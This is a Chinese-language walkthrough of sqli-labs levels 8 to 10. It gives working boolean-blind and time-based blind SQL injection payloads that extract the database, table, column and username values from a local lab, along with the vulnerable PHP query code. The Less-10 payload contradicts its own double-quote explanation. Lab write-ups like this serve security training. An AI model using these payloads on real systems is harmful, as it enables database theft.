文章目录
8.Less-08 Blind-Boolian-Single
8.1、报错尝试
输入如下试错语句
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1’ 【单引号,错误】
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1’%23 【单引号+注释,正常】
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1" 【双引号,正常】
从上面的语句可以发现,这个闭合方式可能就是单引号闭合,页面类似于less05,但是
如下,从源码我们可以发现,在第五关的时候,会输出数据库产生的错误,但是在第八关的时候并不会输出。
但是less05也会报数据库的错误,但是这一关不会,因此,这一关的报错注入就不能使用了,所以需要使用延时注入进行盲注。如下,为用利用floor()进行报错注入,由于报错,我们可以发现,第八关无显示,但是第五关将报错信息显示出来了同时也执行了select user()
语句。
http://192.168.10.208:8081/sqli-labs-master/Less-8/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
第八关输出结果:
第五关输出结果:
因此这一关主要是用if-sleep()
延时注入,payload参见第五关的payload。
sqllibs-Less05-06盲注方法拓展
8.2、代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
9、Less-09 Blind-Time Based-Single盲注payload详解
9.1、数据获取
从本关的题目可见,这关的是基于时间单引号的,即闭合方式可能及时单引号闭合。
关于闭合方式,我进行语句试错的时候发现单引号、双引号、括号啥的全部都是正常显示,,然后开始有点迷了。。。
9.1.1、猜测数据库
如果显示正确,那么将会快速加载页面,否则将会执行sleep(5),即睡眠5秒钟。
通过ascii(substr(database(),1,1)) = 115
不断地去猜解数据库的长度以及每一个字母构成。第一位字母是s(ascii码是115)
http://192.168.10.208:8081/sqli-labs-master/Less-9/?id = 1' and if(ascii(substr(database(),1,1)) = 115,1,sleep(5))--+
二分法不断猜解,我们可以知道数据库名字是security。
9.1.2、猜测数据库security的数据表
第一张表的第一位是e(ascii码是101)。
http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
二分法不断猜解,我们可以知道security数据库中的数据表emails,referers,uagents,users。
9.1.3、猜测数据表users表的列
http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
我们可以知道users表的第一列的第一个字母是i,以此类推,我们可以得到列名是id,username,password。
9.1.4、猜测username的值
http://192.168.10.208:8081/sqli-labs-master/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜测usernaem第一行的第一位,以此类推,得到数据库的所有内容。
9.2、代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
10.Less-10 Blind-Time Based-Double
从标题就可以看出,这一关是基于时间双引号,即很明显的这关的闭合方式是双引号闭合,其余的类似于第九关,只需要将单引号变为双引号。
给出一个猜测数据库的payload,其余的参见第九关。
http://192.168.10.208:8081/sqli-labs-master/Less-10/?id= 1' and if(ascii(substr(database(),1,1)) = 115,1,sleep(5))--+